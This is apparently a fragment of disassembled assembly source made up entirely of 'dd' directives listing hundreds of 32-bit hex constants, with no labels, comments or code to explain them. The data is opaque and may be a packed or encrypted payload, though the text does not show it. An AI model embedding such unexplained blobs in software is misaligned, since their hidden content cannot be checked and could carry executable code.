		dd 0FF23AFD7h, 0CB011C05h, 0D39A04A2h, 4F8EC1F7h, 0F9F5AB84h
		dd 0C1E9C0A6h, 0FAFC06E5h, 5BE45A4Bh, 30C5413Bh, 5917640Dh
		dd 1BB86605h, 6E14C902h, 0A4C118FBh, 0E2C10063h, 0B5F9808h
		dd 1C98252Eh, 8918A0D4h, 1E38EA6Dh, 6EEB40E2h, 145C0C84h
		dd 0DF2F6898h, 13DAE66Ah
		dd 5C5FE5Eh, 0ABA082D7h, 56257E9Ah, 5DB16823h, 234064E2h
		dd 0B3F6561h, 21B94A2Ah, 0C7ECE90Bh, 7D21F6FAh,	0B3530533h
		dd 61D95CCh, 7143A1C0h,	2441C32Eh, 434ED413h, 0C219EBE1h
		dd 20477A01h, 314ADA7Bh, 57C9CFA2h, 2438667Dh, 6F587623h
		dd 0FD948E04h, 28B04E33h, 0BD54791h, 68C569E9h,	0B056A684h
		dd 506ABF87h, 84580804h, 0B94EB68h, 0EEE6C5BFh,	0AFE54304h
		dd 0D26EA9h, 0D33E6750h, 71B75660h, 0D9F8270Ch,	4D0E78B7h
		dd 0E95E02EFh, 3CFFD235h, 8325E9E1h, 0B29F71F8h, 945D59E7h
		dd 0EA5648FFh, 0FF93B017h, 4AC91472h, 5A1F03ACh, 4603C268h
		dd 5951920Eh, 294F9D3Dh, 0FD186004h, 7AD9F625h,	647640Eh
		dd 58B08ADh, 82C82818h,	8209F6C0h, 2B43142h, 0B360D8F7h
		dd 72411A8Ch, 0FB57D5F9h, 1CB46B55h, 0BD5902D2h, 0E7B5D87h
		dd 6355A440h, 5B4FEF24h, 56D1A60Bh, 0B1B0C45Ah,	5A806A51h
		dd 16EE3058h, 5F32859h,	0AF6C236Eh, 991865DCh, 3E400874h
		dd 0F111680Bh, 35BB81FFh, 79A68EDDh, 91B0515Dh,	285B98ABh
		dd 87614893h, 0BD55D0EBh, 5A0517F4h, 50988E0Ah,	4430EAFDh
		dd 7AC118FAh, 9D902433h, 0C0591379h, 0D035E903h, 27034599h
		dd 8C31980Fh, 7A291218h, 0D22DB26h, 9D09BF01h, 0DFD45773h
		dd 0F72E4C10h, 292EF3Ch, 63CACEEh, 3AA956F1h, 0BEFA1D18h
		dd 64311DD7h, 9F96429Ch, 0F6DD4C0Fh, 0ED9A6013h, 177466EEh
		dd 56F53FE1h, 50530802h, 9C3C02FEh, 0AB7FE94Dh,	7FEA2DDEh
		dd 72BF9820h, 0DFE92AB8h, 0EF98BDh, 7D9BF43Bh, 837D52Dh
		dd 4A9946E9h, 57CC3E4Eh, 0C9434B99h, 58F63BE8h,	0AF11025h
		dd 6F3E941h, 4C1CB73Fh,	3D441033h, 6BBFE14Fh, 0FDB9271Ch
		dd 0CC78817Fh, 9274B12h, 429E6609h, 0BE167782h,	2E982A55h
		dd 0FE570DC2h, 7F7C2F80h, 4C6EE78h, 0E96F501Ch,	2141EF53h
		dd 0BE9AD1C1h, 1AB09040h, 15C131Ch, 84B10F2h, 47055E1Fh
		dd 507F6D02h, 56BE6C80h, 2DD00114h, 11A27507h, 18D97C87h
		dd 0F6DAB402h, 0CC697DD4h, 0AAB37017h, 4EE3E914h, 1DCB81EEh
		dd 0EE3819D5h, 5CB1714Fh, 0A2D16B66h, 7B323CA7h, 45704993h
		dd 0C2D6F382h, 932A4555h, 0B5624333h, 0A210525Bh, 9C41E48Dh
		dd 0B5CE1920h, 3501F5E4h, 0C63649EEh, 0CA2AC331h, 0FCE9143Ch
		dd 71EE4AF9h, 1AEB33BBh, 0E5F37715h, 0A0623C88h, 0F08903D1h
		dd 3A5342B9h, 0B53AD688h, 86F3F0Ah, 963A6C8Eh, 6847B054h
		dd 0E53364EDh, 577AD917h, 0B797218Bh, 48754212h, 179B3594h
		dd 4C014A39h, 5B25E24Ah, 0B92017B0h, 76407DBAh,	0B93895B3h
		dd 0B7FBE0D3h, 4530FA4Eh, 0C64C1B11h, 79FD47F8h, 0BD96CC34h
		dd 34AE05C5h, 4960FF17h, 4FEAE902h, 25F5B6E5h, 2005C401h
		dd 11A0CDC5h, 572E3468h, 0E01C035Ch, 0F625641Dh, 0A02C8955h
		dd 183CB4D1h, 0F739FC73h, 9568122Eh, 0DA6BE133h, 79AF127Eh
		dd 30D5C9C4h, 0BF54520Dh, 8344F5DBh, 9F20EB17h,	951B0B8h
		dd 5EE90FE7h, 68D86963h, 0A61512B7h, 0C2587Bh, 4B6E132Dh
		dd 5DF5E97Dh, 12841CC2h, 0C980027Bh, 7776C498h,	0FED99DFEh
		dd 2A77A62h, 0C3555CBEh, 82F1EA36h, 0C0BC89h, 0F8E8850Fh
		dd 0FA65189Ch, 3F7556B8h, 5D272CD0h, 4D5AEA21h,	9F23200Dh
		dd 5689426Bh, 0E7DD8B89h, 213A237Bh, 5BD8A683h,	82FDE8A2h
		dd 0A9ED134Bh, 8274FAF3h, 8B7A5539h, 2985665Bh,	2D3D9BEBh
		dd 250BD1BBh, 98BD98D6h, 0F31758BEh, 66542F1Ah,	0E102595Ch
		dd 893E1263h, 4C8342B3h, 5F5425D9h, 0B0E39CD5h,	20E9FA95h
		dd 6CEAAFE7h, 790A3A69h, 0D070B7F0h, 2146CB70h,	1631DE76h
		dd 0B6F68B40h, 972E0320h, 4B66EA86h, 5BA3545Eh,	952C83C8h
		dd 2F3BEA08h, 52A7005Bh, 8D2668CDh, 3EC209C2h, 682CE1F1h
		dd 0BAB2A812h, 257F7143h, 0FA205AC6h, 74A564BAh, 0B40B6098h
		dd 44FAD3Ch, 0CCEB7E71h, 0C6B5A0EEh, 131A904Fh,	0C81A7E68h
		dd 0DBF25509h, 78C03C0Ch, 2C55A5Dh, 295F65E2h, 85559CDh
		dd 0A3E9C36h, 0CF16960Fh, 33A4B580h, 17DA0914h,	20855AE9h
		dd 705D3E33h, 1481558h,	149527F5h, 0B32D589h, 2A45A10h
		dd 447F6005h, 9313D627h, 604D587Ch, 3750192Dh, 574EC38Ah
		dd 4F5875A2h, 0A714E80Bh, 0C400625Ch, 0D109E506h, 0B1898EFh
		dd 34F38B72h, 4A90042Ch, 0FF7F143Ch, 0EBB8C212h, 0CE688107h
		dd 6FEA56B9h, 106D5A22h, 8D26467Ch, 0B204B2Ch, 50EC6C9Ah
		dd 0B29B6C95h, 0DA9953B1h, 0B14A060h, 93B860F7h, 0D03F6EF6h
		dd 0EAF9AC5Ah, 5FCB3158h, 21E11259h, 29E1187Fh,	20984C78h
		dd 988EC175h, 2B282D43h, 0DC8F12E1h, 7E0070FBh,	665AE281h
		dd 2776A3Bh, 0DB19B3CAh, 0AB6B605Eh, 3723006Bh,	0AD078235h
		dd 0AF0F0D58h, 41088564h, 26E8469Fh, 827F9220h,	4B6FD85Fh
		dd 0F8F7B5BFh, 0DBB172B7h, 8966D14Bh, 185D38BCh, 1FC8BF6Fh
		dd 0BD223306h, 0CB113369h, 289A3E53h, 38CC5B2Dh, 0AAA1944Ah
		dd 8BCE2B26h, 55AB7257h, 0E40A6341h, 0BD1D2CC3h, 5F534DEAh
		dd 682A03FFh, 5F717F29h, 0CEA25A4Bh, 2FA5CB5Eh,	0DD054211h
		dd 5EA58AEDh, 2A6659ABh, 2E2ADFE2h, 9A58958Eh, 5258F27Eh
		dd 0B56420FFh, 0C8EE04D3h, 4EFC27F0h, 467D7C25h, 0CDA05703h
		dd 0C828123Ah, 5B14BC6Eh, 2A46B3Dh, 6F68C6C7h, 8B1BC011h
		dd 75C59DD8h, 0DC39048Bh, 37D6C21Eh, 0DC895F02h, 7E9D097Bh
		dd 5F059A7Dh, 6889A06Ah, 0C396167Fh, 0B42C4088h, 5382819Ch
		dd 0A5B5311Ch, 0CDA3407Ch, 13AF3017h, 3627AB1Eh, 0B57A5BB0h
		dd 57EC697h, 0DE3874F1h, 102EA867h, 892FAA1Fh, 8FF7F140h
		dd 84EF3B5h, 2D3F22FEh,	12CFE37Eh, 0F7967328h, 0BB53106Dh
		dd 9AD72989h, 5E1525Ch,	4ABC4F93h, 0CA41824Bh, 34B42180h
		dd 0A0CF7CCFh, 7463C754h, 4AAE33h, 0EC7F323h, 53521084h
		dd 0F717009Dh, 3F2B8225h, 74655FE9h, 0AC16812Ch, 16FE04DAh
		dd 3565BA5Fh, 315F22BCh, 2A9BA98Ch, 538F92E3h, 1F712DE6h
		dd 3B80BE1Ch, 0C602BFE8h, 2A9EE79Fh, 2A707505h,	0CA206A9Ah
		dd 47BE0560h, 0A410B41Eh, 0FA9007F9h, 0C47622h,	0A10BFBCEh
		dd 7C8E0F47h, 0E664689Fh, 0ED62C004h, 0E9F79CA4h, 0C5F94725h
		dd 4503080Eh, 5E25A13h,	72F02927h, 89006A95h, 0AD0C562Ch
		dd 1906B250h, 406B2A34h, 149E4A76h, 0FD352475h,	340A0C43h
		dd 0EE24685Dh, 0E0C2DE1Dh, 6024D44Bh, 456C4379h, 4F449CC1h
		dd 1B604E7Fh, 7D9526E9h, 0D50E69E1h, 0B959C8A5h, 0B027106Dh
		dd 4FBB15Fh, 4A1BE8B5h,	0E9F070ECh, 98995C51h, 54702D47h
		dd 34054FCBh, 0FE9278AFh, 7055284h, 0ED48EE9h, 26D2FDD0h
		dd 0F24097Fh, 0CB2CAF86h, 588CBF2h, 0E1E6BD43h,	0F0AF9B81h
		dd 353D0F44h, 1FF896E8h, 270B00EBh, 8993DE1Ah, 0D8B72498h
		dd 5FD73C90h, 0D187138Eh, 0C95BF0E4h, 0FA78E711h, 7960489Fh
		dd 973BE62Ch, 0B0F556C2h, 0D886504Eh, 0A42C22EDh, 176E5E48h
		dd 46346C95h, 402C2F88h, 0FE958889h, 0D30B6EFAh, 4EDF8CCAh
		dd 6D161CBh, 62B2E937h,	36A84EB6h, 0F86D4413h, 3578C67Bh
		dd 79C5808Dh, 0F711715h, 0FB7CF458h, 21EEFD4Ah,	806788B0h
		dd 0F6A1B710h, 0BDEFD0DFh, 2AE94290h, 0F2519464h, 4E7BF9EDh
		dd 4021D11Eh, 43725935h, 0A9255400h, 2F815D05h,	0F8C3315Eh
		dd 2913F7BDh, 74AC33D2h, 3F21E909h, 0D1EFB35Dh,	2C5986F3h
		dd 0AAD1643Eh, 0F36B7489h, 80559851h, 3D4D73E2h, 0C0A6A6EAh
		dd 505AC84h, 0A10B154Ch
		dd 0ED1E2EAAh, 4953DAC3h, 0E6C68A01h, 85594F70h, 1399AB32h
		dd 1767593Bh, 37A26F5Dh, 99D8B4E2h, 1271E79Fh, 5E00ACBEh
		dd 0EAA404E9h, 0D869AB22h, 4FD9970Bh, 0A647C2h,	0F541D4BBh
		dd 686E7660h, 0B8890ABEh, 6210F89Dh, 0D1784AEFh, 0A310C508h
		dd 0D9E1892Fh, 0C0AC2AC3h, 687B3260h, 0D2FC2B23h, 350920F3h
		dd 2EA91C18h, 2043FE0Ch, 0BE4C1107h, 29F31606h,	0A82A7AF5h
		dd 67835AF0h, 4709D403h, 0ABE2047Dh, 0DDF6E997h, 43E026Ah
		dd 0D52915E0h, 0DC7A43h, 67686659h, 8348E979h, 0BD89E5C0h
		dd 99DF33FBh, 883D43BEh, 40B3042Eh, 1C08100Dh, 285F687Eh
		dd 9B585D2h, 23261B83h,	0F68150A0h, 64685201h, 0EB14E965h
		dd 0D8C84B9Dh, 0F76659C9h, 0BDF349B7h, 53F7DACh, 0F2611402h
		dd 0D0C55F84h, 5F13CEEEh, 1A80CD35h, 40680A16h,	0DC21271h
		dd 75826DE9h, 0CDF06DE4h, 8FEC394Eh, 8CE39E9Eh,	0EB69EA04h
		dd 44493A12h, 5BDA1506h, 3FD01E12h, 500192B3h, 5A25083Bh
		dd 4D082247h, 3E5125C7h, 0A70A6FA6h, 4262C536h,	6C7D0952h
		dd 2B6F65Ch, 2CEBB0ACh,	0B6C0282Dh, 0A1C03DF8h,	0CD10F9C6h
		dd 0DAF195F4h, 11EF2C9Eh, 64E456EAh, 17EDA8EEh,	0F031805Ch
		dd 6804089Bh, 31BA7673h, 2B752250h, 0B22EF699h,	4212D2F9h
		dd 423E07E7h, 16D4B0Fh,	170C9011h, 0D5E8585Dh, 0DE616C00h
		dd 8591E970h, 1D542980h, 545A0824h, 0EB921F74h,	5089AC13h
		dd 2DCCAD2Fh, 0B94F00D4h, 7AC471E2h, 69D82D0Ah,	0FA573612h
		dd 328E206Dh, 0EB63A3BFh, 0D2E74B35h, 0B9C2B7F0h, 2D388B70h
		dd 26709734h, 0C6F53704h, 0BF652109h, 2DAC54A7h, 7818ED89h
		dd 0FF82E7A0h, 1DC18CC3h, 122C7305h, 1FFFD588h,	0BE9E57B3h
		dd 0C1019A45h, 52AFA984h, 14E1E82Eh, 335560C0h,	4E28BC04h
		dd 9441BBCDh, 2CA60738h, 0E707CC28h, 0AFA70F66h, 350787D2h
		dd 7B3482CBh, 5CEF8902h, 0F8316227h, 756247D9h,	29760B5Bh
		dd 74EA302h, 0A007DE6Bh, 0E35F4B08h, 0A2E5DE74h, 31CF5Fh
		dd 5D8295Bh, 7F71A83Eh,	54C66813h, 16A7A18Ch, 0EA14DE4Dh
		dd 840F4402h, 5F2E6A4Ch, 0C0B7B44Ch, 9E52E929h,	2D562F76h
		dd 5067F824h, 7CC87CE2h, 2DF06092h, 0E81D6662h,	3E825E5Fh
		dd 6168416Dh, 5207893Eh, 8F7A4A15h, 785838h, 0DEF1816Ch
		dd 3443D76Ah, 0C023A4E9h, 0B1558096h, 0EAD45B4Eh, 84CA0813h
		dd 1428AE4Ah, 0B4B0971Ch, 230EBB53h, 0C922911Fh, 0F375E0F7h
		dd 0F8898096h, 0E8C03F91h, 0D90503h, 35435B64h,	282C1808h
		dd 412F2D00h, 0E10D144Ah, 7E9A0026h, 0CB617805h, 0E1B829D3h
		dd 0CF54D090h, 2B4AE9C1h, 5DA20AC7h, 60BC7E0Fh,	2AC20231h
		dd 0EAC14212h, 61F002E1h, 511B48B9h, 0BD043E20h, 598513E0h
		dd 0BB4716EAh, 7435E422h, 503A3D7Fh, 0D059D186h, 87EBC62h
		dd 270EB8F7h, 6BEFD101h, 56F9BAF5h, 36DA0208h, 4424039h
		dd 850402DFh, 7BE5DD97h, 258F53AFh, 962FB0Ah, 8E590A8Bh
		dd 0C17B6025h, 137C34F4h, 87A2818Ch, 21AD2B04h,	71FD6882h
		dd 480B5A4Ch, 6642931h,	0B703FF45h, 21462103h, 0FAF01A5Ah
		dd 2B3D41D3h, 41D943E4h, 0AA7CFE69h, 2025F304h,	3B4CB3F8h
		dd 0DCCF985Bh, 0A2B6C05Bh, 409D6809h, 4A403C7Dh, 819D615Fh
		dd 5F242ACEh, 53A06AACh, 3FFF5B51h, 0C2741CC1h,	0C9D82FAFh
		dd 13300120h, 0FC31C068h, 7C01B2DFh, 42006A1Dh,	40931B8h
		dd 0ECE8A58Dh, 2768F34Bh, 6969F934h, 21A869C0h,	9EC12BE9h
		dd 172B4AE9h, 8B3C98B4h, 2E30FA41h, 0B747133Dh,	0C652074Eh
		dd 1C751B1h, 0F8293AD0h, 839AA83Ah, 9D89D101h, 81FE94BEh
		dd 4F6E420h, 83EACE09h,	0E10E8345h, 9B3D3EC5h, 0FD2AE50Fh
		dd 78090177h, 403C9152h, 1A4DDBE5h, 0D5E95E12h,	647FB2A1h
		dd 0E0E9B1E0h, 7D5BD442h, 4F079A10h, 60FA3213h,	4435C6BEh
		dd 0D41E802Dh, 0B08A062h, 7ED0E95Dh, 5850A7F6h,	0B33B4B68h
		dd 0FEBB00B2h, 0E940E33Ch, 0C97F5E23h, 383FE1FDh, 0F5BE0348h
		dd 746A975h, 0C52A0166h, 82E6676Bh, 0B740F755h,	5440BD8Dh
		dd 4985EE46h, 0E90CA39Eh, 0DD57D256h, 0DC685A13h, 5C55A6D2h
		dd 3CE09FF4h, 3FFA65Ah,	79E3785Ch, 9EC28D41h, 82CC53CBh
		dd 31476851h, 6203BD4Ch, 0B9222A11h, 176FF05Dh,	1CE97631h
		dd 0C93DBE56h, 8C7F3545h, 0ECDB4A9Eh, 0E96F0972h, 1055E8E2h
		dd 2D0F4BD0h, 0FB621F8Eh, 0A4E15357h, 40C31D64h, 7335CB81h
		dd 4B5927D8h, 54B80BBCh, 2744F687h, 2AFD42E2h, 210B846Dh
		dd 39EBE9F0h, 4E540BF2h, 29E35508h, 603E0BB5h, 77C9B1D4h
		dd 0E55DA609h, 8612E8Ah, 0F8259F4Ah, 0C0BE4F41h, 3E0A2DB2h
		dd 0F77FB107h, 0D83740D0h, 0DCF0EA1h, 245AD4EAh, 20CE022Ch
		dd 0E7C42315h, 0E5E90880h, 2DEA9BD2h, 2ABA8D4Dh, 1D3EAB5Ah
		dd 87521D7Ch, 0F53F47BAh, 87A595FDh, 0E278724Dh, 0CF289F79h
		dd 0EF4B2205h, 0DE05BF47h, 9BA836BDh, 80B4E916h, 5CCF8015h
		dd 0A876E7E6h, 2CEDC738h, 575AA9F8h, 1493A40h, 454771BFh
		dd 5D1AD220h, 0FB1989DFh, 0DC5005Eh, 291EE807h,	2D431EDh
		dd 0F1555808h, 0A004EBA0h, 665E01C5h, 20600E68h, 2B6945D3h
		dd 7FC80280h, 31455934h, 0B6E53C2Ah, 965F2749h,	0F43BF9EBh
		dd 72DE9ECh, 717548ABh,	2CDD7A88h, 0A613627Dh, 83650822h
		dd 2D251A3Eh, 0C8C27C0Ah, 0E0A1C961h, 0DAE33830h, 0B46EF84h
		dd 8CA5E858h, 0F3F197A1h, 6BD25547h, 88DDB49h, 1B987F03h
		dd 16370597h, 0E1323C60h, 0E90701B4h, 5B6C283Ah, 55687330h
		dd 98AEA678h, 254F7A62h, 63A3449Ch, 0D916CCD6h,	7DFC58C3h
		dd 2DE8E64Bh, 0D7F85229h, 8EFCBC99h, 6BAAC65Ch,	2A349041h
		dd 903860FBh, 81616D9h,	0CBD7016Ch, 60DB2133h, 0F25A8F22h
		dd 9CEAD6C5h, 0C227C60Eh, 97E00EEh, 5C57E930h, 740F75Fh
		dd 6146975Ah, 19A62220h, 68FC380h, 1CC33ADCh, 0D446FA43h
		dd 93FC2FE9h, 0AC78A450h, 483ABDB7h, 5E0795Fh, 0E1D1E956h
		dd 0CBC52AEAh, 9C5EE201h, 0F42A6014h, 5F02C12Eh, 3168825Ch
		dd 5CED92CFh, 0F992C261h, 0BDF31077h, 0E812132Bh, 434BC52h
		dd 57388330h, 21A6DD80h, 57C7D6Ch, 0B72218E2h, 5326FE36h
		dd 42DE0E80h, 732429h, 8FA41131h, 262DE9CDh, 808D92B0h
		dd 0C56A787Fh, 0F6811C35h, 67440076h, 0F4E9840Fh, 6D5817BCh
		dd 16F6F92Fh, 49768795h, 1D8DF01Ch, 827DFD40h, 742F3BE1h
		dd 0EDA1D240h, 2D084697h, 17FC3032h, 5EDC1C1h, 0F420E5CDh
		dd 92675C34h, 9401B0C7h, 5717FF3Eh, 0B4EEBC81h,	22D423ACh
		dd 5550F6B8h, 1F223448h, 0DD315D86h, 633DF116h,	8101EFCh
		dd 17D64CDEh, 61FA04EBh, 77B9099h, 0E9C7BB69h, 4F872DC8h
		dd 946011EBh, 44DF505h,	8513E908h, 4F54FDE3h, 43A12DF0h
		dd 34E84C46h, 886CB2E1h, 1D77BAEEh, 343E459h, 7ACE5ED3h
		dd 17F8F1EAh, 2CB1B003h, 0D9D8F697h, 882E7C2Bh,	8B3B0F5Eh
		dd 2AF579E2h, 0C60F1EB3h, 5F2B16C3h, 1BFE96FFh,	0E478706Fh
		dd 9602FDC5h, 0CA5F129Eh, 7AF25E2Dh, 40523150h,	3D002550h
		dd 2D6AD332h, 12E70C06h, 8172E9B3h, 0DC535C2Fh,	5995F514h
		dd 0F9038BCBh, 2CC4FF74h, 13CB2504h, 50095FF7h,	0AB5FD888h
		dd 5808058Ah, 5FF588AFh, 0C07270BFh, 0F7810706h, 38584F79h
		dd 3F01136Bh, 0F100D9F5h, 7D9F518Ah, 1CBD4B2Eh,	197C2FA5h
		dd 650F4526h, 4F77A41Eh, 7462771Bh, 6E16E6Eh, 0AE20FE42h
		dd 674A5876h, 60089C24h
		dd 7230922Dh, 97E9234Eh, 0FD29F513h, 466A84E9h,	79255909h
		dd 4DBD4241h, 6C404B3Ch, 7B5F392Ah, 3A5EA908h, 17AA4FAAh
		dd 0BD3C680h, 5C67D75h,	30D96817h, 18A26F77h, 6273741Dh
		dd 400AD44Bh, 1307A102h, 4D61753Dh, 54D351A6h, 0DA23DC5Fh
		dd 70B7DAA6h, 1FF30E99h, 4F239D6h, 0A8F24E46h, 106EA9B2h
		dd 0E15A07D3h, 3F137FDFh, 0FD96A2E2h, 95FC133Bh, 3AA964ACh
		dd 9112A635h, 32B0D2AFh, 681C5174h, 0C0F914D3h,	676A8EC0h
		dd 0E227E97Ch, 0FD654648h, 188C869h, 7E6F5D9Ch,	205C795Dh
		dd 191343C6h, 34AB337Fh, 73D1AA20h, 0E3716337h,	2834C8FBh
		dd 0BF5C508Bh, 32B0233h, 4E27E93Ah, 3CC2795Fh, 3FD344A9h
		dd 0B8CD6D93h, 4332E100h, 8423B67Bh, 0C5A10AE9h, 580195C2h
		dd 0D20CAD11h, 8DAF507h, 0D35A3CEFh, 1082DC10h,	0A7180E4Dh
		dd 89A20C3h, 0C68DDE80h, 875F110h, 20F73820h, 0DD31EDD5h
		dd 0BEDF2879h, 8F46088Ch, 940E018h, 5F2740C7h, 0B0081263h
		dd 0BB2010A7h, 0C51E10A2h, 18F64E18h, 8C685E5h,	3118287Fh
		dd 7508BD6Bh, 0B41888F4h, 39630C3Dh, 668137C1h,	4F2010F7h
		dd 0FB627B18h, 3656910h, 818570Eh, 0AC189952h, 3408C8D0h
		dd 2020468Ch, 8176286h,	9A027AB3h, 804F0258h, 37F6902h
		dd 0B120BC21h, 0B71F319Ch, 8833D708h, 0CD89820h, 0C9106A70h
		dd 719CF1CCh, 8F263BCh,	181004CEh, 7A106768h, 718E3377h
		dd 23E1105Ah, 738210D4h, 10AF2210h, 0D610AA42h,	64E71059h
		dd 108FB419h, 2051B860h, 0D406548Dh, 8BB6288h, 0F036C67h
		dd 73281079h, 0EFD518BCh, 8067FB10h, 0A2808B4Dh, 4EA9CDA8h
		dd 931C5199h, 0C7ED0160h, 4637088Ch, 1D62FE18h,	3516D08h
		dd 2019EB2Ah, 6B08C045h, 7198299Ch, 2841B10h, 0DAFCA628h
		dd 216237C9h, 408E408h,	130C5A80h, 0C2400A71h, 0A04040D9h
		dd 7C6E1240h, 1B58172h,	1990C879h, 54927343h, 3192A220h
		dd 0E8288995h, 86DF0175h, 0D0A3A802h, 0F120C19Bh, 3646315Fh
		dd 98529710h, 0AE993C08h, 82E1CC6Ch, 0B6403908h, 0C43F542Ch
		dd 49C9806Ah, 0C4C8D180h, 6B8EA20h, 40C9A45Bh, 8C92AC53h
		dd 0FA801354h, 4910C962h, 0A6AB03A1h, 0D8510824h, 8E52388h
		dd 2D0892D4h, 156208D8h, 801CA08h, 6908C5A1h, 0C4F615AAh
		dd 88F48F24h, 9218F9A5h, 0CC113E41h, 0B508C391h, 40409440h
		dd 0A662E019h, 2271028h, 0A8A4AE41h, 0BB28067Ch, 316D6210h
		dd 98028171h, 1E770320h, 0B11F0810h, 0AFB8A87Dh, 51798170h
		dd 1DED5ACh, 0FC01E697h, 220888E2h, 0A9A308DBh,	0E0914F0Ah
		dd 3118E390h, 0B78008D6h, 0C60A7480h, 8355520h,	0DA395062h
		dd 9C60008Eh, 0A499E8FCh, 0F99B0325h, 8B261E58h, 111839C7h
		dd 473B1056h, 2752C03h,	1B8913EBh, 3DA7B90Eh, 440105D0h
		dd 49408F00h, 0F775C90Bh, 0C0744E8Bh, 0F003DEDDh, 3C2FE49Fh
		dd 0F06C033h, 2C304FB1h, 3468AC1Ch, 318C32ACh, 0EC460AE3h
		dd 0CBE690Fh, 0EB94E268h, 31E39109h, 0B73DCCF8h, 506E58Ch
		dd 2652E919h, 0B732970h, 512DE98Fh, 5A423820h, 0A3ECE3B1h
		dd 516D72Eh, 0FC54526Ah, 28AEB59Ch, 5E31E9DFh, 7D8C5B98h
		dd 5580A80h, 79BC2730h,	74633507h, 0AC503691h, 0B06BBBBDh
		dd 5BD309BCh, 0A8DD682Fh, 0E906088Bh, 0B08A2C57h, 232709DDh
		dd 88F54780h, 7D068332h, 306E0845h, 5284BA8h, 93987F8Ah
		dd 5FBA5200h, 0E9B0AC67h, 1472DC7h, 0DFCB38DCh,	572E8C36h
		dd 93025856h, 771C0C27h, 1BFEE860h, 0ACD84A81h,	0B4CEBFE7h
		dd 0FFC4014Fh, 4E178BEAh, 0CA7331BFh, 0C53F9E73h, 0C332B21Ah
		dd 0A31C10DDh, 5B541722h, 0E9C207F3h, 0C7DFDA30h, 0B440172Dh
		dd 1F2789E7h, 2AE8A072h, 143B9714h, 875B8AE9h, 5DD8210Bh
		dd 5F08C6A7h, 833CBF73h, 56E91357h, 7854C953h, 8EA94EFEh
		dd 9D72F581h, 0EB29FC96h, 3273E919h, 2DD85F68h,	963ED86Dh
		dd 18D74877h, 5B59F8B4h, 5C90F3A7h, 0DFEECB14h,	532E1E16h
		dd 512D73E9h, 0BA360541h, 0FD8F044h, 273B8818h,	43D2D64h
		dd 0E9F9DAB9h, 0B8D9A06Bh, 46737900h, 8DD1BF1Ch, 0E8E5BEFh
		dd 0D72CE93Ch, 0C83C3124h, 771A1250h, 0F4648CBAh, 0EB8E789Dh
		dd 0DDCE043Ah, 17058A4Ch, 9CB9C330h, 0E95367F7h, 5A47A87Eh
		dd 511C64F2h, 805E4484h, 71E9558Dh, 4CC9E35Bh, 1D255E79h
		dd 0D605C600h, 4503332Fh, 6B67E62Dh, 317D02Eh, 29090136h
		dd 664DE9D8h, 33C45101h, 0E1480342h, 63598A87h,	0C0F1FFECh
		dd 6CC8EB17h, 0B9F62F45h, 2C215B62h, 7EC80BFEh,	0CE97711Dh
		dd 0A452BF39h, 0A626C082h, 112A705Dh, 0D500DF01h, 0D1D0F43h
		dd 5317EFBh, 0E768483Eh, 39C0E353h, 26E692BFh, 353D07FAh
		dd 24FEBEBAh, 5A8201A2h, 0D9016AAFh, 503FDDE9h,	21225BF4h
		dd 7DC37650h, 0BEE2F12h, 80462E5h, 1E09FB04h, 963AC12h
		dd 2359E883h, 8E151h, 0C9810306h, 42BF74FBh, 0DF1124D2h
		dd 0D4E9008Eh, 51BE071Fh, 0FE89095Ah, 8E324224h, 0FFE53A77h
		dd 0A58D6229h, 9AFD3A10h, 0A6E2B57Ah, 95319ED7h, 0E362B6D6h
		dd 0EE08FCh, 7A18055Bh,	1141913h, 72DE8h, 482BB53h, 2DE90706h
		dd 0D77B9897h, 5E01A120h, 0E977A67Fh, 8E3E4575h, 10545337h
		dd 9248C812h, 58218E07h, 5494B264h, 0AE5B9B84h,	0A17E63C1h
		dd 0FEF56181h, 82193275h, 0D051646Ch, 0C421F74Ch, 0FD2E1630h
		dd 270E8245h, 0FF9709EEh, 6D53A923h, 91C3471Dh,	6456898Fh
		dd 2ED71D90h, 70C0FA34h, 0C80AECh, 0AA68526Ah, 5A3FA607h
		dd 7BBF5704h, 0CBC8D2Fh, 0EB4A5F12h, 322D8601h,	0E2D8641Ch
		dd 0E06A18B1h, 9EF31861h, 60FA3E26h, 0CABB7B35h, 9A614BC5h
		dd 0A63B58C6h, 31481906h, 0E72B5C9Eh, 95AD4E69h, 8B479184h
		dd 0B8218BBh, 998B53Eh,	516CF580h, 5140A9FFh, 0CDFE4388h
		dd 0B652D5F8h, 0B4A9B34Eh, 0CE05123Eh, 0BA04E6C0h, 283E9D07h
		dd 9359CE9Eh, 4F5D21FFh, 3A77A37h, 0FE305B0Fh, 499225CEh
		dd 6170EA83h, 0B1679A30h, 132421F2h, 0AF570692h, 89F1BE09h
		dd 0A3C77FF7h, 5A13C5A0h, 65094814h, 0FE16297Bh, 27C78DEEh
		dd 0B8950489h, 3EE9F0D8h, 0EB83C0ABh, 36C43A96h, 3701F3ECh
		dd 0E9CAED2Eh, 892F55DBh, 0D565E004h, 615782h, 0E2B94830h
		dd 0F4212C09h, 0C290006Ah, 903F5942h, 8930405Bh, 2C46CD5Ah
		dd 5B544152h, 598CD851h, 68DB309Fh, 0B3125F4Eh,	0E6802FDEh
		dd 5F888A74h, 0D4277FC7h, 90DFEBE0h, 0A6FD5742h, 53D19D8Eh
		dd 5B68742Fh, 2C0166DBh, 0D488D52Dh, 5AEC5250h,	0CDF7C0F4h
		dd 56BE0A8Dh, 2300B690h, 2DA841D4h, 0B89309D6h,	5E82893h
		dd 9F629007h, 0E180BD16h, 7A8203D1h, 6C79D39h, 0E330EF22h
		dd 65C981B1h, 0D6FE614h, 2B8D850Fh, 9A1E2044h, 0EA311993h
		dd 7CA54E34h, 65A80C63h, 89A13DF1h, 84F25428h, 0B53AC70Ah
		dd 40DBB90Ah, 28BA5F08h, 0C3D8E910h, 0A46CF85Bh, 0FA41C3C1h
		dd 27CE43Eh, 88CF8112h,	8D6B1E0Ch, 0A1EA4EE9h, 7F763B7Ch
		dd 77F4201Ch, 6C66BF05h, 846854h, 84FAA2BEh, 34EFA9CFh
		dd 5FA11790h, 6870C003h, 0D9012627h, 8880590h, 5B515AD1h
		dd 1DACFFB9h, 0ECFC40ADh, 63E13F34h, 35B42AFEh,	0BE8095C7h
		dd 2B5D0265h, 98A151E4h, 0B56A8BB6h, 90C5038Ch,	332E2623h
		dd 107F694Fh, 83F9B89Eh, 0B60B3ABh, 902BA792h, 0F6618A27h
		dd 311D3353h, 0AAE0D256h, 0B125EF05h, 68B05DBCh, 0A8B670CDh
		dd 1B076FE2h
		dd 2F08C9C1h, 0CEB8B530h, 65ED0145h, 0A67EFC0Dh, 6EE6D427h
		dd 0FA12A32Eh, 3241430Ch, 3D050F25h, 826F3C2Eh,	4F5239A9h
